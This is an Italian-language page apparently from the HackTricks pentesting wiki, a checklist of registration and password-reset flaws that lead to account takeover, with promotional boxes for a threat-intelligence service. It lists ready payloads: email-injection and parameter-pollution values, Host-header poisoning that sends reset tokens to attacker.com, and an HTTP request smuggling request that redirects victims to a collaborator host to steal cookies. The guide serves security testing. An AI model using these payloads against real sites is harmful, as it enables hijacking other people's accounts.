hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB

Vulnerabilità di Registrazione e Takeover

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}


Takeover di Registrazione

Registrazione Duplicata

  • Prova a generare utilizzando un username esistente
  • Controlla variando l'email:
    • maiuscole
    • +1@
    • aggiungi qualche punto nell'email
    • caratteri speciali nel nome dell'email (%00, %09, %20)
    • Metti caratteri neri dopo l'email: test@test.com a
    • victim@gmail.com@attacker.com
    • victim@attacker.com@gmail.com

Enumerazione degli Username

Controlla se riesci a capire quando un username è già stato registrato all'interno dell'applicazione.

Politica delle Password

Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).
In tal caso potresti provare a forzare le credenziali.

Iniezione SQL

Controlla questa pagina per imparare come tentare takeover degli account o estrarre informazioni tramite Iniezioni SQL nei moduli di registrazione.

Takeover di Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilità SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Cambio Email

Dopo esserti registrato prova a cambiare l'email e controlla se questa modifica viene correttamente convalidata o se puoi cambiarla con email arbitrarie.

Altri Controlli

  • Controlla se puoi usare email usa e getta
  • Password lunga (>200) porta a DoS
  • Controlla i limiti di velocità sulla creazione dell'account
  • Usa username@burp_collab.net e analizza il callback

Takeover del Reset della Password

Fuga del Token di Reset della Password tramite Referrer

  1. Richiedi il reset della password al tuo indirizzo email
  2. Clicca sul link di reset della password
  3. Non cambiare la password
  4. Clicca su qualsiasi sito di terze parti (es: Facebook, Twitter)
  5. Intercetta la richiesta nel proxy di Burp Suite
  6. Controlla se l'intestazione referer sta rilasciando il token di reset della password.

Avvelenamento del Reset della Password

  1. Intercetta la richiesta di reset della password in Burp Suite
  2. Aggiungi o modifica le seguenti intestazioni in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Inoltra la richiesta con l'intestazione modificata
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Cerca un URL di reset della password basato sull'intestazione host come : https://attacker.com/reset-password.php?token=TOKEN

Reset della Password tramite Parametro Email

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR sui Parametri dell'API

  1. L'attaccante deve effettuare il login con il proprio account e accedere alla funzionalità di Modifica password.
  2. Avviare Burp Suite e intercettare la richiesta.
  3. Inviare la richiesta alla scheda repeater e modificare i parametri: ID Utente/email
    powershell POST /api/changepass [...] ("form": {"email":"vittima@email.com","password":"passwordsicura"})

Token di Reset Password Debole

Il token di reset password dovrebbe essere generato casualmente e univoco ogni volta.
Provare a determinare se il token scade o se è sempre lo stesso, in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.

  • Timestamp
  • ID Utente
  • Email dell'Utente
  • Nome e Cognome
  • Data di Nascita
  • Crittografia
  • Solo numeri
  • Sequenza di token breve (caratteri tra [A-Z,a-z,0-9])
  • Riutilizzo del token
  • Data di scadenza del token

Token di Reset Password che Viene Divulgato

  1. Inviare una richiesta di reset password utilizzando l'API/UI per un'email specifica, ad esempio: testo@mail.com
  2. Ispezionare la risposta del server e controllare il resetToken
  3. Quindi utilizzare il token in un URL come https://esempio.com/v3/utente/password/reset?resetToken=[IL_RESET_TOKEN]&email=[LA_MAIL]

Reset Password Attraverso Collisione di Username

  1. Registrarsi nel sistema con un username identico a quello dell'utente vittima, ma con spazi bianchi inseriti prima e/o dopo l'username, ad esempio: "admin "
  2. Richiedere un reset password con il proprio username malintenzionato.
  3. Utilizzare il token inviato alla propria email e reimpostare la password della vittima.
  4. Accedere all'account della vittima con la nuova password.

La piattaforma CTFd era vulnerabile a questo attacco.
Vedere: CVE-2020-7245

Presa del Controllo dell'Account Attraverso Cross Site Scripting

  1. Trovare un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: *.dominio.com
  2. Divulgare il cookie di sessione attuale
  3. Autenticarsi come l'utente utilizzando il cookie

Presa del Controllo dell'Account Attraverso Smuggling di Richieste HTTP

  1. Utilizzare smuggler per rilevare il tipo di Smuggling di Richieste HTTP (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Creare una richiesta che sovrascriverà il POST / HTTP/1.1 con i seguenti dati:
    GET http://qualcosa.burpcollaborator.net HTTP/1.1 X: con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie\
  3. La richiesta finale potrebbe assomigliare alla seguente
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone segnala l'exploit di questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Takeover dell'account tramite CSRF

  1. Creare un payload per il CSRF, ad esempio: "Modulo HTML con invio automatico per un cambio password"
  2. Inviare il payload

Takeover dell'account tramite JWT

Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.

  • Modificare il JWT con un altro ID utente / Email
  • Verificare una firma JWT debole

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Riferimenti

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: